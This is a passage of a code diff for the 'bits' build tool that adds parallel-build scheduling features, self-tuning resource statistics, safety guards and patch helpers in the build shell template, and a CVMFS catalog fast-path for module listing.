autoload_stats_path(workDir) + if _auto_stats: + args.resources = _auto_stats + info("Auto-loaded build resource stats from a previous run: %s", _auto_stats) + if not args.resourceMonitoring: + try: + import psutil # noqa: F401 (availability probe only) + args.resourceMonitoring = True + debug("Enabled resource monitoring (--builders > 1) to record build stats") + except Exception: # pylint: disable=broad-except + debug("psutil unavailable; resource monitoring stays off") + + scheduler = Scheduler(args.builders, logDelegate=logger, buildStats=args.resources, + parallelDownloads=max(1, getattr(args, "parallelDownloads", 2))) + + # Collect concise per-package failures during the run so we can write a + # readable summary at the end (write_failure_summary), instead of leaving the + # user to scroll the full verbose error dump. + import threading as _threading + scheduler.buildFailures = [] + scheduler.buildFailuresLock = _threading.Lock() + + # Optionally stagger concurrent build jobs across OS 'nice' levels so CPU + # contention degrades gracefully (lead build at nice 0, others niced down). + # OPT-IN (--build-nice), off by default: the default --builders path does no + # command wrapping and starts no renice-watchdog thread. + scheduler.nice_ladder = None + scheduler.renice_watchdog = None + if getattr(args, "buildNice", False): + from bits_helpers.nice_ladder import NiceLadder, ReniceWatchdog + scheduler.nice_ladder = NiceLadder(args.builders, step=getattr(args, "buildNiceStep", 5)) + info("Build nice-ladder enabled (--build-nice): %d slots, step %d (lead build at nice 0).", + args.builders, getattr(args, "buildNiceStep", 5)) + # A build backed off by the ladder can become the last straggler and + # crawl; a watchdog boosts the longest such build back to full speed, one + # at a time. Native builds are reniced toward 0; docker builds (each in + # its own named container) get their cgroup cpu-shares restored via + # `docker update`. + _boost_after = getattr(args, "buildNiceBoostAfter", 600) + if _boost_after: + scheduler.renice_watchdog = ReniceWatchdog(boost_after=_boost_after, log=info).start() # --- Stale sentinel cleanup ------------------------------------------------- # Remove any leftover *.downloading sentinels from a previous run that was # killed before it could clean up. This must happen BEFORE launching the # prefetch pool so that no live sentinels are confused with stale ones. - # Use os.walk rather than glob(..., recursive=True) to avoid the mock in tests. - if os.path.isdir(workDir): - for _root, _dirs, _files in os.walk(workDir): - for _fname in _files: - if _fname.endswith(".downloading"): - _s = os.path.join(_root, _fname) - debug("Removing stale sentinel: %s", _s) - try: - os.unlink(_s) - except OSError: - pass + # + # Sentinels are only ever created at two fixed, known depths (see + # _prefetch_package / bits_helpers.download): + # - source archives: SOURCES///.downloading + # - prebuilt tarballs: TARS//store//.downloading + # (resolve_store_path) + # Walking the WHOLE workDir would also descend INSTALLROOT and BUILD -- the + # entire installed stack, tens of thousands of files -- adding a long, + # pointless stat() storm before the first build (very noticeable on macOS). + # Because the depths are fixed, we don't even need a recursive walk: two + # depth-bounded (non-recursive) glob patterns match exactly the directories + # where sentinels can appear and nothing else. + _sentinel_globs = [ + os.path.join(workDir, "SOURCES", "*", "*", "*.downloading"), + os.path.join(workDir, "TARS", "*", "store", "*", "*.downloading"), + ] + for _pattern in _sentinel_globs: + for _s in glob(_pattern): + debug("Removing stale sentinel: %s", _s) + try: + os.unlink(_s) + except OSError: + pass # --- Optional prefetch pool ------------------------------------------------- - _prefetch_workers = getattr(args, "prefetchWorkers", 0) + # Default (-1) means "auto": scale with the number of builders so that, on the + # serial preparation loop, downloads overlap instead of blocking — capped at 4 + # to avoid hammering the store. 0 explicitly disables prefetch; N>0 forces N. + _prefetch_workers = getattr(args, "prefetchWorkers", -1) + if _prefetch_workers < 0: + _prefetch_workers = min(max(int(getattr(args, "builders", 1)), 1), 4) _prefetch_executor = None if _prefetch_workers > 0 and buildOrder and not isinstance(syncHelper, __import__("bits_helpers.sync", fromlist=["NoRemoteSync"]).NoRemoteSync): @@ -1850,9 +2335,25 @@ def performPreferCheckWithTempDir(pkg, cmd): # Check if this development package needs to be rebuilt. if spec["is_devel_pkg"]: debug("Checking if devel package %s needs rebuild", spec["package"]) - if spec["devel_hash"]+spec["deps_hash"] == spec["old_devel_hash"]: + # The source is unchanged only if devel_hash+deps_hash still matches the + # sentinel. But the install directory is named after ver_rev(spec), and + # the *revision* can change without a source change (e.g. the dependency + # hash shifted, so a new localN was assigned in the revision scan above). + # When that happens the new revision's directory was never populated, yet + # every consumer's init.sh sources this dependency at the new ver_rev -- + # so skipping the rebuild would leave them pointing at a missing + # ...///etc/profile.d/init.sh. Only skip when that + # directory actually exists. + devel_install_dir = _pkg_install_path( + workDir, effective_arch(spec, args.architecture), spec) + if spec["devel_hash"]+spec["deps_hash"] == spec["old_devel_hash"] \ + and os.path.isdir(devel_install_dir): info("Development package %s does not need rebuild", spec["package"]) continue + if spec["devel_hash"]+spec["deps_hash"] == spec["old_devel_hash"]: + debug("Devel package %s source unchanged but install dir %s is missing " + "(revision changed to %s); rebuilding to populate it.", + spec["package"], devel_install_dir, ver_rev(spec)) # Now that we have all the information about the package we want to build, let's # check if it wasn't built / unpacked already. @@ -1983,11 +2484,22 @@ def performPreferCheckWithTempDir(pkg, cmd): # In Makeflow mode we skip the sequential checkout here and instead # generate a .checkout Makeflow rule per package so that all clones and # archive downloads run in parallel as part of the DAG. - if not args.makeflow: - checkout_sources(spec, workDir, args.referenceSources, args.docker, - enforce_mode=_download_time_mode(effective_checksum_mode), - sync_helper=syncHelper, - parallel_sources=getattr(args, "parallelSources", 1)) + # + # In --builders mode (args.builders > 1) we likewise defer the checkout: + # it is registered below as a scheduler "download" task (fetch:) that + # the build task depends on, so source downloads overlap compilation + # instead of running serially here before any build starts. Only the + # single-builder path still checks out inline. + if not args.makeflow and args.builders == 1: + try: + checkout_sources(spec, workDir, args.referenceSources, args.docker, + enforce_mode=_download_time_mode(effective_checksum_mode), + sync_helper=syncHelper, + parallel_sources=getattr(args, "parallelSources", 1), + architecture=raw_architecture) + except OSError as e: + dieOnError(True, "Failed to fetch sources for %s@%s: %s" % ( + spec.get("package", "?"), spec.get("version", "?"), e)) # Collect every processed spec for the post-build checksum phase. # This includes specs whose tarball was cached (cachedTarball != ""). @@ -2003,6 +2515,10 @@ def performPreferCheckWithTempDir(pkg, cmd): init_workDir = container_workDir if args.docker else args.workDir makedirs(scriptDir, exist_ok=True) + # Remember where the resource monitor will write this package's trace so we + # can aggregate build stats once the run finishes (P3). + if args.resourceMonitoring: + monitoredDirs[p] = scriptDir writeAll("{}/{}.sh".format(scriptDir, spec["package"]), spec["recipe"]) hook_params_locals = "\n ".join( 'export %s="%s"' % (k, v) for k, v in spec.get("hook_params", {}).items() @@ -2038,7 +2554,8 @@ def performPreferCheckWithTempDir(pkg, cmd): ("GIT_COMMITTER_NAME", "unknown"), ("GIT_COMMITTER_EMAIL", "unknown"), ("INCREMENTAL_BUILD_HASH", spec.get("incremental_hash", "0")), - ("JOBS", str(effective_jobs(args.jobs, spec))), + ("JOBS", str(effective_jobs(args.jobs, spec, builders=args.builders, + oversubscribe=getattr(args, "oversubscribe", 1.0) or 1.0))), ("PKGFAMILY", spec.get("pkg_family", "")), ("PKGHASH", spec["hash"]), ("PKGNAME", spec["package"]), @@ -2215,6 +2732,19 @@ def performPreferCheckWithTempDir(pkg, cmd): runBuildCommand(scheduler, p, specs, args, build_command, cachedTarball, scriptDir, workDir, syncHelper) else: build_deps = ["build:%s" % d for d in specs[p]["full_requires"] if d in buildTargets] + # When the package must be built from source, register its checkout as a + # scheduler "download" task (capped by --parallel-downloads) and make the + # build wait on it. The scheduler then compiles ready packages while + # other packages' sources are still downloading, removing the up-front + # serial download loop. Packages restored from a cached tarball need no + # source download, so they get no fetch task. + if not cachedTarball: + fetch_id = "fetch:%s" % p + scheduler.parallel(fetch_id, [], "download", _doCheckout, spec, workDir, + args.referenceSources, args.docker, + _download_time_mode(effective_checksum_mode), syncHelper, + getattr(args, "parallelSources", 1), raw_architecture) + build_deps = build_deps + [fetch_id] scheduler.parallel("build:%s" % p, build_deps, "build", runBuildCommand, scheduler, p, specs, args, build_command,cachedTarball, scriptDir, workDir, syncHelper) else: breq = " ".join([str(element) + ".build" for element in spec["full_requires"] if element in buildTargets]) @@ -2246,6 +2776,7 @@ def performPreferCheckWithTempDir(pkg, cmd): "reference": spec.get("reference", ""), "write_repo": spec.get("write_repo", ""), "patches": spec.get("patches", []), + "auto_patch": spec.get("auto_patch", True), "sources": spec.get("sources", []), "source_checksums": spec.get("source_checksums") or {}, "patch_checksums": spec.get("patch_checksums") or {}, @@ -2276,9 +2807,47 @@ def performPreferCheckWithTempDir(pkg, cmd): buildList.append((p, _build_cmd, tar_command, upload_command, cachedTarball, breq, checkout_cmd)) if (not args.makeflow) and (args.builders > 1) and buildTargets: - scheduler.run() + _run_t0 = time.monotonic() + try: + scheduler.run() + finally: + # Always stop the straggler-renice watchdog, even if run() raised. + if getattr(scheduler, "renice_watchdog", None) is not None: + scheduler.renice_watchdog.stop() + _run_wall = time.monotonic() - _run_t0 + # Refresh the self-tuning resource-stats file from this run's monitor traces + # so the next --builders invocation can schedule with up-to-date estimates (P3). + # Also estimate CPU utilisation and, when there is headroom, record/print a + # suggestion for --builders / --oversubscribe. + _tuning = None + if args.resourceMonitoring and monitoredDirs: + try: + from bits_helpers.build_stats import aggregate_and_write, tuning_report + _tuning = tuning_report(monitoredDirs, _run_wall, args.builders, args.jobs, + getattr(args, "oversubscribe", 1.0) or 1.0) + aggregate_and_write(workDir, monitoredDirs, tuning=_tuning) + except Exception as exc: # pylint: disable=broad-except + warning("Could not update build resource stats: %s", exc) for (action, error) in scheduler.errors.items(): info("* The action \"{}\" was not completed successfully because {}".format(action, error)) + # Write a concise failure summary plus a combined full error log, and tell + # the user where to find them and the individual per-package logs. + _summary_path, _full_path = write_failure_summary(workDir, scheduler) + if _summary_path or _full_path: + info("=" * 70) + info("Build finished with errors. Where to look:") + if _summary_path: + info(" Summary (start here): %s", _summary_path) + if _full_path: + info(" Full error log: %s", _full_path) + info(" Per-package build logs: %s/BUILD/-latest/log", workDir) + info("=" * 70) + # End-of-run resource-tuning hint. Only on a clean build — the utilisation + # numbers are meaningless for a partial/failed run. The full report is in + # bits_build_stats.json under "tuning". + if _tuning and _tuning.get("headroom") and not scheduler.brokenJobs: + banner("Resource tuning (recorded in %s):\n %s", + join(workDir, "bits_build_stats.json"), _tuning["recommendation"]) if scheduler.brokenJobs: dieOnError(True, "Please fix the above errors.") elif args.makeflow and buildTargets: @@ -2373,8 +2942,11 @@ def performPreferCheckWithTempDir(pkg, cmd): cli_args.append(f"--{k}") elif isinstance(v, list): if v: # Only show non-empty lists + seen = set() for item in v: - cli_args.append(f"--{k}={quote(str(item))}") + if item not in seen: + seen.add(item) + cli_args.append(f"--{k}={quote(str(item))}") else: # Quote if needed cli_args.append(f"--{k}={quote(str(v))}") @@ -2430,11 +3002,39 @@ def performPreferCheckWithTempDir(pkg, cmd): do_print=_do_print, do_write=_do_write) if not args.onlyDeps: + # Resolve the main package's install root (sw///) so + # the success summary points at the package directory, not just the arch + # root -- mirroring the Install Root shown on failure. + _install_root_line = "" + _main_spec = specs.get(mainPackage) + if _main_spec is not None: + try: + _install_root_line = "\nThe %s install root is:\n\n %s\n" % ( + mainPackage, + abspath(_pkg_install_path(args.workDir, + effective_arch(_main_spec, args.architecture), + _main_spec))) + except Exception: # pylint: disable=broad-except + _install_root_line = "" + # When --defaults qualified the architecture (qualify_arch), the install + # tree lives under the combined arch string, but `bits enter` auto-detects + # only the raw base arch -- so the suggested command must pass -a + # explicitly, otherwise it would look in the wrong sw/. + if args.architecture != raw_architecture: + _arch_flag = "-a %s " % args.architecture + _arch_note = ( + "\n\n(This build used the defaults-qualified architecture " + f"`{args.architecture}'; pass it with -a as above, or persist it " + f"with `export BITS_ARCHITECTURE={args.architecture}'.)") + else: + _arch_flag, _arch_note = "", "" banner(f"Build of {mainPackage} successfully completed on `{socket.gethostname()}'.\n" "Your software installation is at:" - f"\n\n {abspath(join(args.workDir, args.architecture))}\n\n" + f"\n\n {abspath(join(args.workDir, args.architecture))}\n" + f"{_install_root_line}\n" "You can use this package by loading the environment:" - f"\n\n bits enter {mainPackage}/latest-{mainBuildFamily}", + f"\n\n bits {_arch_flag}enter {mainPackage}/latest-{mainBuildFamily}" + f"{_arch_note}", ) else: banner("Successfully built dependencies for package %s on `%s'.\n", diff --git a/bits_helpers/build_stats.py b/bits_helpers/build_stats.py new file mode 100644 index 00000000..a97a1b02 --- /dev/null +++ b/bits_helpers/build_stats.py @@ -0,0 +1,287 @@ +""" +Self-tuning build-resource statistics for the ``--builders`` scheduler. + +When several packages build in parallel, the scheduler can avoid making the +node unresponsive if it knows roughly how much CPU and memory each package +needs, and only admits a new build when the machine still has budget for it. +That admission control already exists in :class:`bits_helpers.resource_manager. +ResourceManager`, but it requires a statistics file (``--resources``) that, in +practice, nobody produces by hand. + +This module closes the loop automatically: + +* :func:`aggregate_and_write` is called at the *end* of a ``--builders`` run. + It reads the per-package resource-monitor JSON traces that + ``--resource-monitoring`` already writes (one array of samples per package, + see :mod:`bits_helpers.resource_monitor`) and distils them into the compact + schema the ``ResourceManager`` consumes, written to a well-known path inside + the work area. + +* :func:`autoload_stats_path` is called at the *start* of the next run. If a + stats file from a previous build exists it is re-stamped with the current + machine's CPU/RAM totals (so it stays correct even if the file was copied + from a smaller or larger node) and its path returned, ready to be handed to + the scheduler as ``buildStats``. + +The schema produced is:: + + { + "resources": {"cpu": , "rss": }, + "packages": {"build": {"": {"cpu": .., "rss": .., "time": ..}}}, + "known": [], + "defaults": {"cpu": [..], "rss": [..], "time": [..]} + } + +``cpu`` is expressed on the same scale the monitor uses — summed +``psutil.cpu_percent`` across the process tree, i.e. ~100 per fully-busy core — +and ``rss`` in bytes, so machine totals and per-package peaks are directly +comparable. ``defaults`` (the median of the observed packages) is used for any +package seen in a future run but absent from the file, so a brand-new heavy +package is charged a sensible cost rather than zero. +""" + +import json +import multiprocessing +from os.path import join, isfile + +from bits_helpers.log import debug, warning + +# File written into the work area (e.g. ``sw/``) and re-read on the next run. +STATS_FILENAME = "bits_build_stats.json" + + +def default_stats_path(work_dir: str) -> str: + """Return the canonical stats-file path for *work_dir*.""" + return join(work_dir, STATS_FILENAME) + + +def machine_resources() -> dict: + """Return this machine's total schedulable resources. + + ``cpu`` is ``ncpu * 100`` to match the monitor's summed-percent scale; + ``rss`` is total physical memory in bytes (0 if psutil is unavailable). + + Host-based on purpose: in the production model one build job owns the whole + machine and (under ``--docker``) pins every per-package container to the full + host, so the ResourceManager budgets against the host. + """ + cpu = (multiprocessing.cpu_count() or 1) * 100 + rss = 0 + try: + import psutil + rss = int(psutil.virtual_memory().total) + except Exception as exc: # pylint: disable=broad-except + debug("machine_resources: could not read total RAM (%s); rss budget = 0", exc) + return {"cpu": cpu, "rss": rss} + + +def _peak_from_trace(path: str): + """Return ``{cpu, rss, time}`` peak from one monitor trace, or None.""" + try: + with open(path) as fh: + samples = json.load(fh) + except (OSError, ValueError): + return None + if not isinstance(samples, list) or not samples: + return None + cpu = max((int(s.get("cpu", 0)) for s in samples), default=0) + rss = max((int(s.get("rss", 0)) for s in samples), default=0) + time = max((int(s.get("time", 0)) for s in samples), default=0) + if cpu <= 0 and rss <= 0: + return None + return {"cpu": cpu, "rss": rss, "time": time} + + +def _median(values): + s = sorted(values) + return s[len(s) // 2] if s else 0 + + +def _integral_from_trace(path: str): + """Return ``{core_seconds, time}`` for one monitor trace, or None. + + ``cpu`` in each sample is the summed process-tree percent (~100 per busy + core), taken once per real sampling interval. Integrating ``cpu/100`` over + the actual spacing between samples (``diff`` of the relative ``time`` field) + yields the *core-seconds* of useful work that package consumed — the basis + for the whole-run CPU-utilisation estimate. + """ + try: + with open(path) as fh: + samples = json.load(fh) + except (OSError, ValueError): + return None + if not isinstance(samples, list) or not samples: + return None + core_seconds = 0.0 + prev_t = 0 + duration = 0 + for s in samples: + t = int(s.get("time", 0)) + cpu = int(s.get("cpu", 0)) + dt = t - prev_t + if dt <= 0: + dt = 1 # defensive: keep monotonic spacing + core_seconds += (cpu / 100.0) * dt + prev_t = t + duration = max(duration, t) + return {"core_seconds": core_seconds, "time": duration} + + +def tuning_report(monitored: dict, wall_seconds: float, builders: int, + jobs: int, oversubscribe: float): + """Estimate CPU utilisation for a finished --builders run and suggest knobs. + + Returns a dict (also embedded in the stats file and optionally printed) with + the measured ``cpu_utilisation`` (0–1, core-seconds / (ncpu × wall)), + ``avg_concurrency`` (mean number of packages building at once), a + ``headroom`` flag, and a human ``recommendation``. Returns None when there + is not enough data (no traces, zero wall-clock). + + Heuristic: if utilisation is below target but the builder slots were mostly + full, the limiter is per-package serial phases (configure/link/install/tar) + → suggest a higher ``--oversubscribe`` (which raises each builder's ``-j`` + and, by design, leaves the memory budget untouched). If the slots were + often empty, the dependency graph is the limiter → suggest more + ``--builders`` and/or reusing prebuilt tarballs. + """ + builders = max(1, int(builders)) + ncpu = multiprocessing.cpu_count() or 1 + total_core_seconds = 0.0 + total_pkg_seconds = 0 + n = 0 + for pkg, script_dir in monitored.items(): + r = _integral_from_trace(join(script_dir, "%s.json" % pkg)) + if not r: + continue + total_core_seconds += r["core_seconds"] + total_pkg_seconds += r["time"] + n += 1 + if n == 0 or wall_seconds <= 0: + return None + + try: + oversubscribe = max(1.0, float(oversubscribe)) + except (TypeError, ValueError): + oversubscribe = 1.0 + + util = total_core_seconds / (ncpu * wall_seconds) + avg_conc = total_pkg_seconds / wall_seconds + busy_ratio = avg_conc / builders + target = 0.90 + headroom = util < target + + report = { + "ncpu": ncpu, + "wall_seconds": round(wall_seconds, 1), + "builders": builders, + "jobs": int(jobs), + "oversubscribe": round(oversubscribe, 2), + "cpu_utilisation": round(min(util, 1.0), 3), + "avg_concurrency": round(avg_conc, 2), + "headroom": headroom, + } + + if not headroom: + report["recommendation"] = ( + "CPU averaged %.0f%% of %d cores — good utilisation; no change suggested." + % (min(util, 1.0) * 100, ncpu) + ) + report["suggested"] = {"builders": builders, "oversubscribe": round(oversubscribe, 2)} + return report + + if busy_ratio >= 0.8: + # Builder slots were busy but cores idle → per-package serial phases. + new_ov = round(min(3.0, max(oversubscribe + 0.25, + oversubscribe * target / max(util, 0.3))), 2) + report["suggested"] = {"builders": builders, "oversubscribe": new_ov} + report["recommendation"] = ( + "CPU averaged %.0f%% of %d cores while ~%.1f/%d builder slots were busy: " + "per-package serial phases (configure/link/install/tar) left cores idle. " + "Try --oversubscribe %.2f to raise each builder's -j (the memory budget is " + "unchanged)." % (util * 100, ncpu, avg_conc, builders, new_ov) + ) + else: + # Slots often empty → dependency-graph / critical-path bound. + new_b = builders + max(1, builders // 2) + report["suggested"] = {"builders": new_b, "oversubscribe": round(oversubscribe, 2)} + report["recommendation"] = ( + "CPU averaged %.0f%% of %d cores and only ~%.1f/%d builder slots were filled " + "on average: the dependency graph was the limiter. Try --builders %d, and/or " + "reuse prebuilt tarballs (remote/CVMFS store) for unchanged packages." + % (util * 100, ncpu, avg_conc, builders, new_b) + ) + return report + + +def aggregate_and_write(work_dir: str, monitored: dict, tuning: dict = None): + """Aggregate per-package monitor traces into a stats file. + + Parameters + ---------- + work_dir: + The build work area; the stats file is written to + ``default_stats_path(work_dir)``. + monitored: + Mapping ``{package_name: script_dir}`` where ``script_dir`` is the + directory the resource monitor wrote ``.json`` into. + + Returns the path written, or None when there was nothing to record. + """ + packages = {} + for pkg, script_dir in monitored.items(): + peak = _peak_from_trace(join(script_dir, "%s.json" % pkg)) + if peak: + packages[pkg] = peak + if not packages: + debug("build_stats: no usable monitor traces; not writing stats file") + return None + + defaults = { + "cpu": [_median([p["cpu"] for p in packages.values()])], + "rss": [_median([p["rss"] for p in packages.values()])], + "time": [_median([p["time"] for p in packages.values()])], + } + stats = { + "resources": machine_resources(), + "packages": {"build": packages}, + "known": [], + "defaults": defaults, + } + if tuning: + stats["tuning"] = tuning + path = default_stats_path(work_dir) + try: + with open(path, "w") as fh: + json.dump(stats, fh) + debug("build_stats: wrote resource stats for %d packages to %s", + len(packages), path) + return path + except OSError as exc: + warning("build_stats: could not write stats to %s: %s", path, exc) + return None + + +def autoload_stats_path(work_dir: str): + """Return a re-stamped stats-file path for *work_dir*, or None. + + The file's machine totals are overwritten with the *current* machine's + resources before use, so a stats file produced on a different node is still + safe to consume. Returns None when no readable file exists. + """ + path = default_stats_path(work_dir) + if not isfile(path): + return None + try: + with open(path) as fh: + stats = json.load(fh) + if not isinstance(stats, dict) or "packages" not in stats: + warning("build_stats: %s has unexpected shape; ignoring", path) + return None + stats["resources"] = machine_resources() + with open(path, "w") as fh: + json.dump(stats, fh) + return path + except (OSError, ValueError) as exc: + warning("build_stats: ignoring unreadable stats %s: %s", path, exc) + return None diff --git a/bits_helpers/build_template.sh b/bits_helpers/build_template.sh index bcff637a..6d526d39 100644 --- a/bits_helpers/build_template.sh +++ b/bits_helpers/build_template.sh @@ -58,6 +58,28 @@ cpath=$(which gcc) function hash() { true; } +# bits_apply_patches [strip] : apply the patch files bits staged in $SOURCEDIR +# ($PATCH0 .. up to $PATCH_COUNT) in declaration order, with `patch -p` +# (default strip level 1). Use this from recipes built with `auto_patch: false` +# (or under --no-auto-patch), where bits stages the patches but does not apply +# them. A .bits_applied_patches sentinel makes repeated calls / incremental +# rebuilds a no-op, mirroring bits' own idempotency. +bits_apply_patches() { + local _strip="${1:-1}" _i _vn _pf + local _sentinel="$SOURCEDIR/.bits_applied_patches" + [ -f "$_sentinel" ] && return 0 + [ "${PATCH_COUNT:-0}" -gt 0 ] || return 0 + ( cd "$SOURCEDIR" || exit 1 + for ((_i=0; _i<${PATCH_COUNT:-0}; _i++)); do + _vn="PATCH${_i}"; _pf="${!_vn}" + [ -n "$_pf" ] || continue + echo "bits: applying patch $_pf (-p${_strip})" + patch -p"${_strip}" --batch --input "$SOURCEDIR/$_pf" + done + ) || return $? + : > "$_sentinel" +} + export WORK_DIR="${WORK_DIR_OVERRIDE:-%(workDir)s}" export BITS_CONFIG_DIR="${BITS_CONFIG_DIR_OVERRIDE:-%(configDir)s}" @@ -134,6 +156,18 @@ export RECC_PREFIX_MAP=$BUILDDIR=/recc/BUILDDIR-$PKGNAME:$INSTALLROOT=/recc/INST # No point in mixing packages export RECC_ACTION_SALT="$PKGNAME" +# Safety guards: validate WORK_DIR and PKGHASH before any destructive rm +# operation. An empty WORK_DIR would expand "$WORK_DIR/INSTALLROOT/$PKGHASH" +# to "/INSTALLROOT/..." (catastrophic); an empty PKGHASH would wipe the entire +# INSTALLROOT tree. BUILDROOT inherits the same risk. +if [[ -z "${WORK_DIR}" || ! "${WORK_DIR}" = /* ]]; then + echo "ERROR: WORK_DIR is empty or not an absolute path ('${WORK_DIR:-}') — aborting." >&2 + exit 1 +fi +if [[ -z "${PKGHASH}" ]]; then + echo "ERROR: PKGHASH is empty — refusing to rm -fr '$WORK_DIR/INSTALLROOT/'" >&2 + exit 1 +fi rm -fr "$WORK_DIR/INSTALLROOT/$PKGHASH" # We remove the build directory only if we are not in incremental mode. if [[ "$INCREMENTAL_BUILD_HASH" == 0 ]] && ! rm -rf "$BUILDROOT"; then @@ -169,11 +203,6 @@ cat << EOF > "$BUILDDIR/.envrc" # Source the build environment which was used for this package WORK_DIR=\${WORK_DIR:-$WORK_DIR} source "\${WORK_DIR:-$WORK_DIR}/${INSTALLROOT#$WORK_DIR/}/etc/profile.d/init.sh" source_up -# On mac we build with the proper installation relative RPATH, -# so this is not actually used and it's actually harmful since -# startup time is reduced a lot by the extra overhead from the -# dynamic loader -unset DYLD_LIBRARY_PATH EOF cd "$BUILDROOT" @@ -205,25 +234,28 @@ function Run() { # dummy function if [[ "$CACHED_TARBALL" == "" && ! -f $BUILDROOT/log ]]; then set -o pipefail; - { unset DYLD_LIBRARY_PATH - set -e + # Keep DYLD_LIBRARY_PATH (set from dependencies by init.sh above) so build-time + # tools on macOS find their dependencies' dylibs, mirroring LD_LIBRARY_PATH on + # Linux. Inherited contamination was already cleared before init.sh ran. + { set -e set -x source "$WORK_DIR/SPECS/$PKGPATH/$PKGNAME.sh" if [[ $(type -t Run) == function ]]; then Run "$@"; fi } 2>&1 | tee "$BUILDROOT/log" - [ $PIPESTATUS -eq 0 ] || exit $PIPESTATUS + rc=${PIPESTATUS[0]}; [ "$rc" -eq 0 ] || exit "$rc" # read PIPESTATUS[0] BEFORE any command clobbers it elif [[ "$CACHED_TARBALL" == "" && $INCREMENTAL_BUILD_HASH != "0" && -f "$BUILDDIR/.build_succeeded" ]]; then set -o pipefail - (%(incremental_recipe)s) 2>&1 | tee "$BUILDROOT/log" || exit 1 + (%(incremental_recipe)s) 2>&1 | tee "$BUILDROOT/log" + rc=${PIPESTATUS[0]}; [ "$rc" -eq 0 ] || exit "$rc" # propagate the real recipe exit code (was masked to 1) elif [[ "$CACHED_TARBALL" == "" ]]; then set -o pipefail; - { unset DYLD_LIBRARY_PATH - set -e + # Keep DYLD_LIBRARY_PATH (from dependencies via init.sh) — see note above. + { set -e set -x source "$WORK_DIR/SPECS/$PKGPATH/$PKGNAME.sh" if [[ $(type -t Run) == function ]]; then Run "$@"; fi } 2>&1 | tee "$BUILDROOT/log" - [ $PIPESTATUS -eq 0 ] || exit $PIPESTATUS + rc=${PIPESTATUS[0]}; [ "$rc" -eq 0 ] || exit "$rc" # read PIPESTATUS[0] BEFORE any command clobbers it else # Unpack the cached tarball in the $INSTALLROOT and remove the unrelocated # files. diff --git a/bits_helpers/cvmfs_catalog.py b/bits_helpers/cvmfs_catalog.py new file mode 100755 index 00000000..640df4e4 --- /dev/null +++ b/bits_helpers/cvmfs_catalog.py @@ -0,0 +1,243 @@ +#!/usr/bin/env python3 +"""Fast module listing on CVMFS via the serving catalog (no per-file FUSE walk). + +`bits q` / `bits avail` enumerate the installed tree to collect modulefiles. On +CVMFS every directory test is a FUSE lookup (cold: catalog fetch + zlib + +SQLite; warm: still a syscall), so a stack with thousands of packages costs tens +of thousands of FUSE operations per call. + +A CVMFS catalog already *is* a SQLite database with one row per path. When the +queried directory is served by a single, dedicated nested catalog rooted exactly +there, we can read that catalog's content hash from the cvmfs client's existing +`user.catalog_counters` magic xattr, fetch the one catalog object over HTTP, +decompress it, and run a single local SQLite query to list every entry — no +per-file FUSE walk. See ADR-001 (Option E). + +This helper is self-contained (stdlib only) and imports nothing from bits, so it +runs as a plain script: + + python3 bits_helpers/cvmfs_catalog.py [--regex RE] [--depth2-dirs] + +Exit status is a contract for the shell frontend: + 0 success — the listing was printed; use it. + 3 fast path not applicable (not on CVMFS, no dedicated catalog rooted here, + deeper nested catalogs, or any fetch/parse error). The caller MUST fall + back to its POSIX walk; a one-line reason is written to stderr. + +The fast path is deliberately conservative: it only ever lists from a single +catalog rooted at the queried path with no deeper nested catalogs, so it can +never silently return a partial or oversized listing — it returns everything or +signals fallback. +""" + +import argparse +import os +import re +import sqlite3 +import struct +import sys +import tempfile +import urllib.request +import zlib + +# Catalog entry flags (cvmfs/cvmfs/catalog_sql.h). +kFlagDir = 1 +kFlagFile = 4 +kFlagLink = 8 + + +class FastPathUnavailable(Exception): + """Raised when the catalog fast path cannot or must not be used. + + Always means the caller should fall back to the POSIX walk; the message is the + human-readable reason. + """ + + +def read_xattr(path, name): + """Read an extended attribute, via os.getxattr then the attr/getfattr tools.""" + try: + return os.getxattr(path, name).decode("utf-8", "replace") + except (OSError, AttributeError): + pass + short = name[len("user."):] if name.startswith("user.") else name + import subprocess + for cmd in (["attr", "-q", "-g", short, path], + ["getfattr", "--only-values", "-n", name, path]): + try: + out = subprocess.run(cmd, capture_output=True, check=True) + return out.stdout.decode("utf-8", "replace") + except (OSError, subprocess.CalledProcessError): + continue + raise FastPathUnavailable("no %s xattr (not a CVMFS path?)" % name) + + +def parse_catalog_counters(text): + """Parse the catalog_counters xattr into {hash, mountpoint, counters{}}.""" + info = {"hash": None, "mountpoint": None, "counters": {}} + for line in text.splitlines(): + line = line.strip() + if not line: + continue + if line.startswith("catalog_hash:"): + info["hash"] = line.split(":", 1)[1].strip() + elif line.startswith("catalog_mountpoint:"): + info["mountpoint"] = line.split(":", 1)[1].strip() + else: + parts = re.split(r"[,\s]+", line, maxsplit=1) + if len(parts) == 2 and re.fullmatch(r"-?\d+", parts[1].strip()): + info["counters"][parts[0].strip()] = int(parts[1].strip()) + return info + + +def subtree_nested(counters): + """Best-effort subtree nested-catalog count (None if unknown).""" + for key in ("subtree.nested", "subtree_nested", "nested"): + if key in counters: + return counters[key] + return None + + +def data_url_for_hash(host, cat_hash): + """Build the catalog data-object URL: /data/<2>/C.""" + h = cat_hash.strip() + if len(h) < 3: + raise FastPathUnavailable("implausible catalog hash %r" % h) + return "%s/data/%s/%sC" % (host.rstrip("/"), h[:2], h[2:]) + + +def fetch_and_decompress(url, timeout=30): + """Download a cvmfs data object and zlib-decompress it.""" + req = urllib.request.Request(url, headers={"User-Agent": "bits-q-catalog"}) + try: + with urllib.request.urlopen(req, timeout=timeout) as resp: + blob = resp.read() + except Exception as exc: # noqa: BLE001 - any network error => fall back + raise FastPathUnavailable("could not fetch catalog: %s" % exc) + for wbits in (zlib.MAX_WBITS, -zlib.MAX_WBITS): + try: + return zlib.decompressobj(wbits).decompress(blob) + except zlib.error: + continue + raise FastPathUnavailable("could not decompress catalog at %s" % url) + + +def _u64(signed): + """SQLite stores md5path halves as signed 64-bit; key on the raw bits.""" + return struct.unpack(" [name, (p1, p2), flags] + for name, m1, m2, p1, p2, flags in con.execute( + "SELECT name, md5path_1, md5path_2, parent_1, parent_2, flags " + "FROM catalog"): + nodes[(_u64(m1), _u64(m2))] = [name, (_u64(p1), _u64(p2)), flags] + except sqlite3.Error as exc: + raise FastPathUnavailable("unexpected catalog schema: %s" % exc) + finally: + con.close() + + results = [] + for _key, (name, parent, flags) in nodes.items(): + parts = [name] + cur = parent + guard = 0 + while cur in nodes and guard < 4096: + pname, pparent, _pf = nodes[cur] + if pparent == cur: # defensive: self-loop + break + parts.append(pname) + cur = pparent + guard += 1 + parts.reverse() + # parts[0] is the catalog root directory name; 